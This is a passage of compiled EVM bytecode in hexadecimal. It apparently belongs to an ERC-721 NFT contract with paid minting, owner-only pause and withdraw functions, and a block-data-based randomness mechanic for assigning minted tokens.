061045f919061446c565b611593565b604051610471919061504d565b60405180910390f35b34801561048657600080fd5b5061048f61165c565b60405161049c9190614c9a565b60405180910390f35b3480156104b157600080fd5b506104cc60048036038101906104c791906142db565b611682565b6040516104d9919061504d565b60405180910390f35b3480156104ee57600080fd5b506105096004803603810190610504919061446c565b611727565b005b34801561051757600080fd5b50610532600480360381019061052d919061412b565b6117ad565b60405161053f919061504d565b60405180910390f35b34801561055457600080fd5b5061055d6117c5565b005b34801561056b57600080fd5b50610574611891565b604051610581919061504d565b60405180910390f35b34801561059657600080fd5b506105b160048036038101906105ac91906141c5565b61189b565b005b3480156105bf57600080fd5b506105c86118bb565b6040516105d59190614cb5565b60405180910390f35b3480156105ea57600080fd5b506105f3611949565b6040516106009190615032565b60405180910390f35b34801561061557600080fd5b50610630600480360381019061062b919061446c565b61195d565b60405161063d919061504d565b60405180910390f35b34801561065257600080fd5b5061065b6119ce565b6040516106689190614c3b565b60405180910390f35b34801561067d57600080fd5b506106866119e5565b6040516106939190614c7f565b60405180910390f35b3480156106a857600080fd5b506106c360048036038101906106be919061446c565b611a0b565b6040516106d09190614b7b565b60405180910390f35b6106f360048036038101906106ee9190614499565b611abd565b005b34801561070157600080fd5b5061071c6004803603810190610717919061412b565b612191565b604051610729919061504d565b60405180910390f35b34801561073e57600080fd5b50610747612249565b604051610754919061504d565b60405180910390f35b34801561076957600080fd5b5061077261224f565b005b34801561078057600080fd5b5061079b6004803603810190610796919061431b565b6122d7565b005b3480156107a957600080fd5b506107b26123db565b6040516107bf919061504d565b60405180910390f35b3480156107d457600080fd5b506107dd6123e1565b6040516107ea919061504d565b60405180910390f35b3480156107ff57600080fd5b506108086123ec565b6040516108159190614b7b565b60405180910390f35b34801561082a57600080fd5b50610833612416565b6040516108409190614cb5565b60405180910390f35b34801561085557600080fd5b50610870600480360381019061086b91906143eb565b6124a8565b005b34801561087e57600080fd5b506108996004803603810190610894919061429b565b61254e565b005b3480156108a757600080fd5b506108b0612564565b6040516108bd9190614cb5565b60405180910390f35b3480156108d257600080fd5b506108ed60048036038101906108e8919061446c565b6125f2565b6040516108fa9190615017565b60405180910390f35b34801561090f57600080fd5b5061092a60048036038101906109259190614218565b612657565b005b34801561093857600080fd5b506109416126b9565b60405161094e919061504d565b60405180910390f35b34801561096357600080fd5b5061096c6126c4565b604051610979919061504d565b60405180910390f35b34801561098e57600080fd5b506109976126ca565b6040516109a693929190615068565b60405180910390f35b3480156109bb57600080fd5b506109d660048036038101906109d1919061446c565b6126e3565b6040516109e4929190614c56565b60405180910390f35b3480156109f957600080fd5b50610a146004803603810190610a0f919061446c565b612721565b604051610a219190614cb5565b60405180910390f35b348015610a3657600080fd5b50610a516004803603810190610a4c9190614185565b6127f9565b604051610a5e9190614c3b565b60405180910390f35b348015610a7357600080fd5b50610a8e6004803603810190610a89919061412b565b61288d565b005b348015610a9c57600080fd5b50610aa5612985565b604051610ab2919061504d565b60405180910390f35b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610b2e5750610b2d826129a9565b5b9050919050565b606060008054610b44906153ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610b70906153ea565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd282612a8b565b610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0890614f17565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610c5782611a0b565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf90614f97565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610ce7612af7565b73ffffffffffffffffffffffffffffffffffffffff161480610d165750610d1581610d10612af7565b6127f9565b5b610d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4c90614e97565b60405180910390fd5b610d5f8383612aff565b505050565b60115481565b610d72612af7565b73ffffffffffffffffffffffffffffffffffffffff16610d906123ec565b73ffffffffffffffffffffffffffffffffffffffff1614610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd90614f37565b60405180910390fd5b8015610df957610df4612bb8565b610e02565b610e01612c5b565b5b50565b610e0d6119ce565b15610e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4490614e77565b60405180910390fd5b610e55612af7565b73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb990614db7565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000c35082600c60009054906101000a900461ffff1661ffff16610f0391906151b2565b1115610f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3b90614d57565b60405180910390fd5b600082118015610f55575060038211155b610f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8b90614fd7565b60405180910390fd5b8160136000610fa1612af7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490614e17565b60405180910390fd5b34667c585087238000836110319190615239565b14611071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106890614d97565b60405180910390fd5b816013600061107e612af7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110c39190615293565b601360006110cf612af7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008161116357600067ffffffffffffffff81111561112f5761112e615615565b5b60405190808252806020026020018201604052801561115d5781602001602082028036833780820191505090505b506111ad565b8267ffffffffffffffff81111561117d5761117c615615565b5b6040519080825280602002602001820160405280156111ab5781602001602082028036833780820191505090505b505b9050600080600090505b8481101561136557600c600081819054906101000a900461ffff16809291906111df9061544d565b91906101000a81548161ffff021916908361ffff16021790555050611217600c60009054906101000a900461ffff1661ffff16612cfd565b9150611237600c60009054906101000a900461ffff1661ffff1683612d43565b60146000600c60009054906101000a900461ffff1661ffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548160ff021916908360ff16021790555090505060006112ac612af7565b9050846112d6576112d181600c60009054906101000a900461ffff1661ffff16612e0e565b611351565b611316600c60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900461ffff1661ffff16612e0e565b600c60009054906101000a900461ffff1684838151811061133a576113396155e6565b5b602002602001019061ffff16908161ffff16815250505b50808061135d90615478565b9150506111b7565b50821561140357600c60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e14e0ffd6113b2612af7565b846040518363ffffffff1660e01b81526004016113d0929190614be2565b600060405180830381600087803b1580156113ea57600080fd5b505af11580156113fe573d6000803e3d6000fd5b505050505b50505050565b6000600880549050905090565b61141e612af7565b73ffffffffffffffffffffffffffffffffffffffff1661143c6123ec565b73ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148990614f37565b60405180910390fd5b80600c60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611517612af7565b73ffffffffffffffffffffffffffffffffffffffff16146115835761154361153d612af7565b82612fdc565b611582576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157990614fb7565b60405180910390fd5b5b61158e8383836130ba565b505050565b6000600b5482116115a75760009050611657565b600560027f000000000000000000000000000000000000000000000000000000000000c3506115d69190615239565b6115e09190615208565b82116115f85769043c33c19375648000009050611657565b600560047f000000000000000000000000000000000000000000000000000000000000c3506116279190615239565b6116319190615208565b821161164957690878678326eac90000009050611657565b6910f0cf064dd59200000090505b919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061168d83612191565b82106116ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c590614cf7565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b61172f612af7565b73ffffffffffffffffffffffffffffffffffffffff1661174d6123ec565b73ffffffffffffffffffffffffffffffffffffffff16146117a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179a90614f37565b60405180910390fd5b80600b8190555050565b60136020528060005260406000206000915090505481565b6117cd612af7565b73ffffffffffffffffffffffffffffffffffffffff166117eb6123ec565b73ffffffffffffffffffffffffffffffffffffffff1614611841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183890614f37565b60405180910390fd5b6118496123ec565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561188e573d6000803e3d6000fd5b50565b6000600b54905090565b6118b683838360405180602001604052806000815250612657565b505050565b600e80546118c8906153ea565b80601f01602080910402602001604051908101604052809291908181526020018280546118f4906153ea565b80156119415780601f1061191657610100808354040283529160200191611941565b820191906000526020600020905b81548152906001019060200180831161192457829003601f168201915b505050505081565b600c60009054906101000a900461ffff1681565b6000611967611409565b82106119a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199f90614ff7565b60405180910390fd5b600882815481106119bc576119bb6155e6565b5b90600052602060002001549050919050565b6000600a60149054906101000a900460ff16905090565b600c60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aab90614ed7565b60405180910390fd5b80915050919050565b611ac56119ce565b15611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc90614e77565b60405180910390fd5b611b0d612af7565b73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614611b7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7190614db7565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000c35082600c60009054906101000a900461ffff1661ffff16611bbb91906151b2565b1115611bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf390614d57565b60405180910390fd5b600082118015611c0d5750600a8211155b611c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4390614fd7565b60405180910390fd5b600b54600c60009054906101000a900461ffff1661ffff161015611d2757600b5482600c60009054906101000a900461ffff1661ffff16611c8d91906151b2565b1115611cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc590614e57565b60405180910390fd5b34668e1bc9bf04000083611ce29190615239565b14611d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1990614d97565b60405180910390fd5b611d35565b60003414611d3457600080fd5b5b60008082611d8c57600067ffffffffffffffff811115611d5857611d57615615565b5b604051908082528060200260200182016040528015611d865781602001602082028036833780820191505090505b50611dd6565b8367ffffffffffffffff811115611da657611da5615615565b5b604051908082528060200260200182016040528015611dd45781602001602082028036833780820191505090505b505b9050600080600090505b8581101561204c57600c600081819054906101000a900461ffff1680929190611e089061544d565b91906101000a81548161ffff021916908361ffff16021790555050611e40600c60009054906101000a900461ffff1661ffff16612cfd565b9150611e60600c60009054906101000a900461ffff1661ffff1683612d43565b60146000600c60009054906101000a900461ffff1661ffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548160ff021916908360ff1602179055509050506000611ed683613316565b9050611ee0612af7565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611f2b5760126000815480929190611f2590615478565b91905055505b851580611f6b5750611f3b612af7565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611f9357611f8e81600c60009054906101000a900461ffff1661ffff16612e0e565b61200e565b611fd3600c60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900461ffff1661ffff16612e0e565b600c60009054906101000a900461ffff16848381518110611ff757611ff66155e6565b5b602002602001019061ffff16908161ffff16815250505b61202b600c60009054906101000a900461ffff1661ffff16611593565b8561203691906151b2565b945050808061204490615478565b915050611de0565b5060008311156120ed57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac61209c612af7565b856040518363ffffffff1660e01b81526004016120ba929190614c12565b600060405180830381600087803b1580156120d457600080fd5b505af11580156120e8573d6000803e3d6000fd5b505050505b831561218a57600c60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e14e0ffd612139612af7565b846040518363ffffffff1660e01b8152600401612157929190614be2565b600060405180830381600087803b15801561217157600080fd5b505af1158015612185573d6000803e3d6000fd5b505050505b5050505050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f990614eb7565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60125481565b612257612af7565b73ffffffffffffffffffffffffffffffffffffffff166122756123ec565b73ffffffffffffffffffffffffffffffffffffffff16146122cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c290614f37565b60405180910390fd5b6122d56000613464565b565b6122df612af7565b73ffffffffffffffffffffffffffffffffffffffff166122fd6123ec565b73ffffffffffffffffffffffffffffffffffffffff1614612353576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234a90614f37565b60405180910390fd5b60005b81518110156123d7576000828281518110612374576123736155e6565b5b602002602001015190506003601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505080806123cf90615478565b915050612356565b5050565b60105481565b667c58508723800081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054612425906153ea565b80601f0160208091040260200160405190810160405280929190818152602001828054612451906153ea565b801561249e5780601f106124735761010080835404028352916020019161249e565b820191906000526020600020905b81548152906001019060200180831161248157829003601f168201915b5050505050905090565b6124b0612af7565b73ffffffffffffffffffffffffffffffffffffffff166124ce6123ec565b73ffffffffffffffffffffffffffffffffffffffff1614612524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251b90614f37565b60405180910390fd5b8383600e9190612535929190613e87565b508181600f9190612547929190613e87565b5050505050565b612560612559612af7565b838361352a565b5050565b600f8054612571906153ea565b80601f016020809104026020016040519081016040528092919081815260200182805461259d906153ea565b80156125ea5780601f106125bf576101008083540402835291602001916125ea565b820191906000526020600020905b8154815290600101906020018083116125cd57829003601f168201915b505050505081565b6125fa613f0d565b601460008381526020019081526020016000206040518060400160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff1660ff1660ff16815250509050919050565b612668612662612af7565b83612fdc565b6126a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269e90614fb7565b60405180910390fd5b6126b384848484613697565b50505050565b668e1bc9bf04000081565b600b5481565b6000806000601054601154601254925092509250909192565b60146020528060005260406000206000915090508060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b606061272c82612a8b565b61276b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276290614f77565b60405180910390fd5b6014600083815260200190815260200160002060000160009054906101000a900460ff16156127c657600f61279f836136f3565b6040516020016127b0929190614b57565b60405160208183030381529060405290506127f4565b600e6127d1836136f3565b6040516020016127e2929190614b57565b60405160208183030381529060405290505b919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b612895612af7565b73ffffffffffffffffffffffffffffffffffffffff166128b36123ec565b73ffffffffffffffffffffffffffffffffffffffff1614612909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290090614f37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161297090614d37565b60405180910390fd5b61298281613464565b50565b7f000000000000000000000000000000000000000000000000000000000000c35081565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480612a7457507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80612a845750612a8382613854565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16612b7283611a0b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b612bc06119ce565b15612c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf790614e77565b60405180910390fd5b6001600a60146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258612c44612af7565b604051612c519190614b7b565b60405180910390a1565b612c636119ce565b612ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9990614cd7565b60405180910390fd5b6000600a60146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa612ce6612af7565b604051612cf39190614b7b565b60405180910390a1565b600032600143612d0d9190615293565b404284604051602001612d239493929190614b09565b6040516020818303038152906040528051906020012060001c9050919050565b612d4b613f0d565b612d53613f0d565b6000612d5e84612cfd565b90506000612d77600186612d7291906151b2565b612cfd565b90506000600a83612d8891906154f9565b14836000019015159081151581525050826000015115612dbf5760116000815480929190612db590615478565b9190505550612dd8565b60106000815480929190612dd290615478565b91905055505b600481612de591906154f9565b6005612df191906151b2565b836020019060ff16908160ff168152505082935050505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e7590614ef7565b60405180910390fd5b612e8781612a8b565b15612ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ebe90614d77565b60405180910390fd5b612ed3600083836138be565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f2391906151b2565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000612fe782612a8b565b613026576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161301d90614e37565b60405180910390fd5b600061303183611a0b565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806130a057508373ffffffffffffffffffffffffffffffffffffffff1661308884610bc7565b73ffffffffffffffffffffffffffffffffffffffff16145b806130b157506130b081856127f9565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166130da82611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614613130576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312790614f57565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156131a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161319790614dd7565b60405180910390fd5b6131ab8383836138be565b6131b6600082612aff565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132069190615293565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461325d91906151b2565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600b54600c60009054906101000a900461ffff1661ffff1611158061334e57506000600a60f584901c61334b91906154f9565b14155b156133625761335b612af7565b905061345f565b6000600c60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d8bc463b609085901c6040518263ffffffff1660e01b81526004016133c3919061504d565b60206040518083038186803b1580156133db57600080fd5b505afa1580156133ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134139190614158565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561345a57613452612af7565b91505061345f565b809150505b919050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613599576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161359090614df7565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161368a9190614c3b565b60405180910390a3505050565b6136a28484846130ba565b6136ae848484846139d2565b6136ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136e490614d17565b60405180910390fd5b50505050565b6060600082141561373b576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061384f565b600082905060005b6000821461376d57808061375690615478565b915050600a826137669190615208565b9150613743565b60008167ffffffffffffffff81111561378957613788615615565b5b6040519080825280601f01601f1916602001820160405280156137bb5781602001600182028036833780820191505090505b5090505b60008514613848576001826137d49190615293565b9150600a856137e391906154f9565b60306137ef91906151b2565b60f81b818381518110613805576138046155e6565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856138419190615208565b94506137bf565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6138c9838383613b69565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561390c5761390781613b6e565b61394b565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461394a576139498382613bb7565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561398e5761398981613d24565b6139cd565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146139cc576139cb8282613df5565b5b5b505050565b60006139f38473ffffffffffffffffffffffffffffffffffffffff16613e74565b15613b5c578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02613a1c612af7565b8786866040518563ffffffff1660e01b8152600401613a3e9493929190614b96565b602060405180830381600087803b158015613a5857600080fd5b505af1925050508015613a8957506040513d601f19601f82011682018060405250810190613a8691906143be565b60015b613b0c573d8060008114613ab9576040519150601f19603f3d011682016040523d82523d6000602084013e613abe565b606091505b50600081511415613b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613afb90614d17565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613b61565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001613bc484612191565b613bce9190615293565b9050600060076000848152602001908152602001600020549050818114613cb3576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050613d389190615293565b9050600060096000848152602001908152602001600020549050600060088381548110613d6857613d676155e6565b5b906000526020600020015490508060088381548110613d8a57613d896155e6565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480613dd957613dd86155b7565b5b6001900381819060005260206000200160009055905550505050565b6000613e0083612191565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600080823b905060008111915050919050565b828054613e93906153ea565b90600052602060002090601f016020900481019282613eb55760008555613efc565b82601f10613ece57803560ff1916838001178555613efc565b82800160010185558215613efc579182015b82811115613efb578235825591602001919060010190613ee0565b5b509050613f099190613f2c565b5090565b6040518060400160405280600015158152602001600060ff1681525090565b5b80821115613f45576000816000905550600101613f2d565b5090565b6000613f5c613f57846150c4565b61509f565b90508083825260208201905082856020860282011115613f7f57613f7e61564e565b5b60005b85811015613faf5781613f958882613ffb565b845260208401935060208301925050600181019050613f82565b5050509392505050565b6000613fcc613fc7846150f0565b61509f565b905082815260208101848484011115613fe857613fe7615653565b5b613ff38482856153a8565b509392505050565b60008135905061400a81615cbe565b92915050565b60008151905061401f81615cbe565b92915050565b600082601f83011261403a57614039615649565b5b813561404a848260208601613f49565b91505092915050565b60008135905061406281615cd5565b92915050565b60008135905061407781615cec565b92915050565b60008151905061408c81615cec565b92915050565b600082601f8301126140a7576140a6615649565b5b81356140b7848260208601613fb9565b91505092915050565b60008083601f8401126140d6576140d5615649565b5b8235905067ffffffffffffffff8111156140f3576140f2615644565b5b60208301915083600182028301111561410f5761410e61564e565b5b9250929050565b60008135905061412581615d03565b92915050565b6000602082840312156141415761414061565d565b5b600061414f84828501613ffb565b91505092915050565b60006020828403121561416e5761416d61565d565b5b600061417c84828501614010565b91505092915050565b6000806040838503121561419c5761419b61565d565b5b60006141aa85828601613ffb565b92505060206141bb85828601613ffb565b9150509250929050565b6000806000606084860312156141de576141dd61565d565b5b60006141ec86828701613ffb565b93505060206141fd86828701613ffb565b925050604061420e86828701614116565b9150509250925092565b600080600080608085870312156142325761423161565d565b5b600061424087828801613ffb565b945050602061425187828801613ffb565b935050604061426287828801614116565b925050606085013567ffffffffffffffff81111561428357614282615658565b5b61428f87828801614092565b91505092959194509250565b600080604083850312156142b2576142b161565d565b5b60006142c085828601613ffb565b92505060206142d185828601614053565b9150509250929050565b600080604083850312156142f2576142f161565d565b5b600061430085828601613ffb565b925050602061431185828601614116565b9150509250929050565b6000602082840312156143315761433061565d565b5b600082013567ffffffffffffffff81111561434f5761434e615658565b5b61435b84828501614025565b91505092915050565b60006020828403121561437a5761437961565d565b5b600061438884828501614053565b91505092915050565b6000602082840312156143a7576143a661565d565b5b60006143b584828501614068565b91505092915050565b6000602082840312156143d4576143d361565d565b5b60006143e28482850161407d565b91505092915050565b600080600080604085870312156144055761440461565d565b5b600085013567ffffffffffffffff81111561442357614422615658565b5b61442f878288016140c0565b9450945050602085013567ffffffffffffffff81111561445257614451615658565b5b61445e878288016140c0565b925092505092959194509250565b6000602082840312156144825761448161565d565b5b600061449084828501614116565b91505092915050565b600080604083850312156144b0576144af61565d565b5b60006144be85828601614116565b92505060206144cf85828601614053565b9150509250929050565b60006144e58383614aa7565b60208301905092915050565b6144fa816152c7565b82525050565b61451161450c826152c7565b6154c1565b82525050565b600061452282615146565b61452c8185615174565b935061453783615121565b8060005b8381101561456857815161454f88826144d9565b975061455a83615167565b92505060018101905061453b565b5085935050505092915050565b61457e816152d9565b82525050565b61458d816152d9565b82525050565b6145a461459f826152e5565b6154d3565b82525050565b60006145b582615151565b6145bf8185615185565b93506145cf8185602086016153b7565b6145d881615662565b840191505092915050565b6145ec81615360565b82525050565b6145fb81615384565b82525050565b600061460c8261515c565b6146168185615196565b93506146268185602